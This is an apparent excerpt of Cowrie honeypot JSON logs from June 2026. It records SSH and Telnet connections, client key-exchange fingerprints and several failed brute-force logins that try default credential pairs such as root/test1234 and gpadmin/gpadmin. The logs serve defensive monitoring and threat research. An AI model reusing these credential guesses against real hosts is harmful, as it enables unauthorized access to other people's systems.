{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50684,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7fcbe927e6","protocol":"telnet","message":"New connection: 34.79.127.0:50684 (10.17.0.5:23) [session: 0f7fcbe927e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.944455Z"}
{"eventid":"cowrie.session.closed","duration":0.004704952239990234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.949047Z","src_ip":"34.79.127.0","session":"0f7fcbe927e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"2385d35558db","protocol":"ssh","message":"New connection: 91.92.42.227:35458 (10.17.0.5:22) [session: 2385d35558db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:16.295061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:16.421282Z","src_ip":"91.92.42.227","session":"2385d35558db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:16.425187Z","src_ip":"91.92.42.227","session":"2385d35558db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:17.206969Z","src_ip":"91.92.42.227","session":"2385d35558db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:18.398156Z","src_ip":"91.92.42.227","session":"2385d35558db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.907831907272339,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.198005Z","src_ip":"34.79.127.0","session":"986b726b6b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.608872890472412,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.202695Z","src_ip":"34.79.127.0","session":"b5184e135cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.773977041244507,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.205981Z","src_ip":"34.79.127.0","session":"6b2cd485b708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.93944525718689,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.209176Z","src_ip":"34.79.127.0","session":"d2d7c7ae0dd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.104144811630249,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.211407Z","src_ip":"34.79.127.0","session":"3e3d4a44f436","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.271570205688477,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.216202Z","src_ip":"34.79.127.0","session":"80c74c27bcbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.440467834472656,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.221217Z","src_ip":"34.79.127.0","session":"f669d6191bc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.610553503036499,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.224264Z","src_ip":"34.79.127.0","session":"7cfc33bf30d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.775380373001099,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.227243Z","src_ip":"34.79.127.0","session":"855e8e581122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.503813982009888,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.283161Z","src_ip":"34.79.127.0","session":"3107a10d9cc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.670511245727539,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.287862Z","src_ip":"34.79.127.0","session":"5870ff9873c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.000292778015137,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.291297Z","src_ip":"34.79.127.0","session":"95d779e24cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.166966438293457,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.294341Z","src_ip":"34.79.127.0","session":"edbd4b272d51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.332350969314575,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.297707Z","src_ip":"34.79.127.0","session":"af1ddafc317b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.669665813446045,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.310515Z","src_ip":"34.79.127.0","session":"e801d2b6401f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.50952434539795,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.313442Z","src_ip":"34.79.127.0","session":"ad43e156b6ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.844210863113403,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.321291Z","src_ip":"34.79.127.0","session":"eb42f194b0bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.174322366714478,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.324538Z","src_ip":"34.79.127.0","session":"43e1b6bcb820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.014043092727661,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.327400Z","src_ip":"34.79.127.0","session":"bf3797812bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.34183669090271,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.330150Z","src_ip":"34.79.127.0","session":"3149034503f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.517833709716797,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.342253Z","src_ip":"34.79.127.0","session":"18e7fef10f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.85003924369812,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.347614Z","src_ip":"34.79.127.0","session":"cb0f042f1724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.688529253005981,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.350288Z","src_ip":"34.79.127.0","session":"a6a545ac3f39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.017871856689453,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.353216Z","src_ip":"34.79.127.0","session":"e537c370163e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.18410587310791,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.355726Z","src_ip":"34.79.127.0","session":"704f42e46379","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.51738691329956,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:22.358320Z","src_ip":"34.79.127.0","session":"676fa3f06c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"b294b05d17b0","protocol":"ssh","message":"New connection: 91.92.42.227:35540 (10.17.0.5:22) [session: b294b05d17b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:23.493741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:23.569943Z","src_ip":"91.92.42.227","session":"b294b05d17b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:23.635708Z","src_ip":"91.92.42.227","session":"b294b05d17b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:24.267394Z","src_ip":"91.92.42.227","session":"b294b05d17b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:25.508065Z","src_ip":"91.92.42.227","session":"b294b05d17b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48532,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cd437386f2","protocol":"ssh","message":"New connection: 91.92.42.227:48532 (10.17.0.5:22) [session: 71cd437386f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:30.175872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:30.407550Z","src_ip":"91.92.42.227","session":"71cd437386f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:30.411309Z","src_ip":"91.92.42.227","session":"71cd437386f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:31.771037Z","src_ip":"91.92.42.227","session":"71cd437386f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:33.487396Z","src_ip":"91.92.42.227","session":"71cd437386f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54214,"dst_ip":"10.17.0.5","dst_port":22,"session":"9370742d889f","protocol":"ssh","message":"New connection: 91.92.42.227:54214 (10.17.0.5:22) [session: 9370742d889f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:36.531764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:36.852789Z","src_ip":"91.92.42.227","session":"9370742d889f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:36.856490Z","src_ip":"91.92.42.227","session":"9370742d889f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:38.845175Z","src_ip":"91.92.42.227","session":"9370742d889f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:40.328001Z","src_ip":"91.92.42.227","session":"9370742d889f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54252,"dst_ip":"10.17.0.5","dst_port":22,"session":"874ed73d83f7","protocol":"ssh","message":"New connection: 91.92.42.227:54252 (10.17.0.5:22) [session: 874ed73d83f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:43.591856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:43.945805Z","src_ip":"91.92.42.227","session":"874ed73d83f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:43.952834Z","src_ip":"91.92.42.227","session":"874ed73d83f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:46.077741Z","src_ip":"91.92.42.227","session":"874ed73d83f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:47.677156Z","src_ip":"91.92.42.227","session":"874ed73d83f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"636a16611d06","protocol":"ssh","message":"New connection: 91.92.42.227:35850 (10.17.0.5:22) [session: 636a16611d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:50.066487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:50.966483Z","src_ip":"91.92.42.227","session":"636a16611d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:50.975009Z","src_ip":"91.92.42.227","session":"636a16611d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":46089,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc90676ce8f2","protocol":"ssh","message":"New connection: 103.248.120.6:46089 (10.17.0.5:22) [session: cc90676ce8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:51.382078Z"}
